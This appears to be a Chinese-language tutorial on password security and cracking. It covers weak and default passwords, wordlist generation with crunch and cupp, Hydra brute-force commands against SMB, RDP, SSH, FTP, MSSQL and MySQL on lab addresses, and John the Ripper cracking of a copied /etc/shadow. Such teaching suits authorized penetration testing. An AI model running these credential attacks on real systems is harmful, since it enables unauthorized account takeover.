目录
1 ⼝令安全威胁
现在很多地⽅都是以⽤户名(账户)和⼝令(密码)作为鉴权的⽅式,⼝令(密码)就意味着访问权 限。
⽹站后台
数据库
服务器
个⼈电脑
QQ
邮箱
...
⼝令的安全现状
⼝令(密码)对于保护资产来讲是⾄关重要,保证⼝令安全也是重要的课题之⼀。
⼝令所⾯临的安全⻛险:
以⽂件的⽅式保存⼝令
⽹站的配置⽂件
源代码中的注释
备份⽂件
邮件,⼝令以明⽂的⽅式出现在邮件中
浏览器中保存的账密
....
弱⼝令
123456|654321|8888888|admin,都是常⻅的弱密码
...
默认⼝令
phpStudy 中mysql 默认账密[root:root]
Tomcat 管理控制台默认账密[tomcat:tomcat]
...
明⽂传输
http|ftp|telnet 等等服务,都是明⽂传输的
被嗅探
...
2 ⼝令的破解⽅式
暴⼒破解是最原始,最粗暴的破解⽅法。
暴⼒破解就是利⽤所有可能的字符组成密码字典,去尝试破解,根据运算能⼒,如果能够承受的起时间 成本,最终⼀定会爆破出密码。
#密码空间
所有可能的密码的个数。
#密码空间⼤⼩的影响因素
1. 字符集合
2. 密码位数
#密码字典⽣成⼯具 - crunch
crunch<min> <max> [options]
crunch 8 8 0123456789
crunch 8 8 0123456789abcdefghijklmnopqrstuvwxyz
crunch 1 8 0123456789abcdefghijklmnopqrstuvwxyz
crunch 8 8 -t 1990%%%%
字典破解
如果能够通过⽐较合理的条件,筛选或者过滤掉⼀些全字符组合的内容,就会⼤幅度降低爆破的成本。 把筛选出的特定的密码组合成具有明显特征的字典。密码字典就是暴⼒破解中密码空间的⼦集。 但是,再⽤密码字典进⾏爆破的时候,有可能会漏掉真正的密码。
#kali 中的字典
/usr/share/wordlists/rockyou.txt.gzv
#弱⼝令字典
123456
admin
root
...
#社⼯字典
⼈们在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个⼈信息有关,⽐如常⻅的密码组 合 ”名字+⽣⽇“。
ajest0701
社⼯字典更具针对性,准确率有可能会⽐较⾼。
亦思社会⼯程学字典⽣成器
cupp -i
#字符集字典
字符集合
密码位数
组合⽅法
...
#简单的例⼦
密码组合:数字+".com"
密码位数:7
示例:000.com|001.com
crunch 7 7 -t %%%.com > test.dic
⼝令破解的⽅式
#在线(远程)⼝令破解
⽤户名和密码需要在服务器端验证,需要⽹络连接
⽹站后台
RDP
SSH
...
# 离线密码破解
直接破解的是密码密⽂
MD5 密⽂
/etc/shadow
...
⼝令破解的情况
⽤户名未知,密码未知
⽤户名已知,密码未知
⽤户名未知,密码已知
3 Hydra - 远程⼝令破解神器
命令速查
参数 含义
-R 接着上⼀次的破解进度继续破解
-L 指定⼀个⽤户名字典
-l 指定⼀个⽤户名
-P 指定⼀个密码字典
-p 指定⼀个密码
-e nsr n代表空密码,s 代表密码与⽤户名相同,r ⽤户名反向(root:toor)
-o 将爆破结果保存到⽂件中
-t 指定爆破的线程
-vV 显示详细的爆破细节
-f 当遇到正确的⽤户名和密码的时,就⽴即停⽌爆破
4 远程⼝令破解实例
远程爆破windows ⼝令
#SMB 服务
hydra smb://192.168.52.138 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -vV -t 8 -o 109.smb
hydra smb://192.168.52.138 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -vV -t 8 -o 109.smb -f
#RDP 服务
hydra rdp://192.168.52.138 -l administrator -P
/home/kali/dic/test/pass.dic -t 1 -o 109.rdp -f
远程爆破Linux ⼝令
#ssh服务
hydra ssh://10.10.10.218 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -vV -o 218.ssh -f -e nsr
其他服务的爆破
#FTP 服务
hydra ftp://192.168.52.100 -L user.dic -P pass.dic -f -vV -e nsr
#SQL Server 服务
hydra mssql://192.168.52.100 -L user.dic -P pass.dic -f -vV -e nsr
#MySQL 服务
sudo hydra mysql://127.0.0.1 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -f -vV -t 1 -o 127.mysql -e nsr
05 离线密码破解
#/etc/shadow ⽂件爆破
john
sudo cp /etc/shadow ./
sudo john shadow
john shadow --wordlist=rockyou.txt
john shadow --show